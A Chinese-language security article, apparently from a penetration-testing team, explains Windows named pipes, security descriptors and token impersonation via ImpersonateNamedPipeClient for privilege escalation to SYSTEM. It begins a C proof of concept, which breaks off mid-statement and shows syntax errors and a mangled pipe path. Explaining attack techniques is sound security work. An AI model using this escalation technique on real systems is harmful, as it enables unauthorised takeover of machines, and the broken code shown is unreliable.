声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.1
前言
命名管道是Windows 比较经典的一个概念并且Linux也有,但是两者用途并非相同。那么什么是命名管道呢?
Win32 SDK定义管道为两种:
匿名管道(Anonymous pipes ):匿名管道通常在父进程和子进程之间传输数据。它们通常用于重定向子进程与其父进程之间的标准输入和输出,且不支持通过网络进行通信。
命名管道(Named pipes):命名管道可以在不相关的进程之间传输数据,前提是管道的权限授予对客户端进程的适当访问权限。
着重讲命名管道:它可以在同一台机器或不同机器间的不同进程间提供通信,拥有一个Pipe Server和一个或者多个Pipe Client,在它们之间进行单向或者双向通信的管道。
我们的目的是为了通过命名管道来进行权限的提升,这里还需要涉及到安全描述符(Security Descriptor)的概念。
在Windows系统中,对某进程或者线程的权限信息是使用安全描述符来定义的。它是一个结构体,由 安全标识符(Security Identifies)、DACL、SACL以及其自身控制位组成,其中DACL和SACL组成访问控制列表(ACL,Access Control List)。
主要来看DACL,DACL是安全描述符中最重要的,它里面包含零个或多个访问控制项(ACE,Access Control Entry),每个访问控制项的内容描述了允许或拒绝特定账户对这个对象执行特定操作。在Win32实体程序中设置了一个 DACL,那么意味着任何人都有权限对其进行访问控制。
设置安全描述符的API函数为 SetSecurityDescriptorDacl
关于更多访问控制模型内容,请参考:Security Descriptors
No.2 命名管道的利用
利用命名管道提权的重要原因:命名管道允许服务端进程模拟已连接的客户端进程,API名称为ImpersonateNamedPipeClient
如果使用非管理员权限去启动命名管道的服务端进程进行监听,而以管理员的客户端进行连接,不一定能够成功,想要进行提权,启动服务端的用户还需要某些特权,如:SeImpersonatePrivilege、等等
使用 whoami /priv 查看权限
而该权限一般是系统使用在本地服务账号或者网络服务账号的,所以当我们因为某服务账号启动服务的漏洞而获得权限之后,就有了 Local Service或者Network Service权限,看似权限很低,但可以利用他进行权限提升至System权限
从管理员提升至SYSTEM权限
首先,先抛出代码段
#include "stdafx.h"
#define SERVICE_NAME "Elevate"
#define PIPE_PATH ".pipeelevate"
int main
{
char directory[_MAX_PATH];
char servicePath[_MAX_PATH];
char serviceName[128];
char recv[1024];
DWORD bytes;
bool connected;
HINSTANCE hinst;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
HANDLE token;
HANDLE newtoken;
HANDLE ptoken;
HANDLE namedPipe = CreateNamedPipeA(PIPE_PATH,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
1024,
1024,
0,
);
if (namedPipe == INVALID_HANDLE_VALUE) {
printf("[!] Could not create named pipe");
return 0;
}
else {
printf("[*] Named pipe created: %s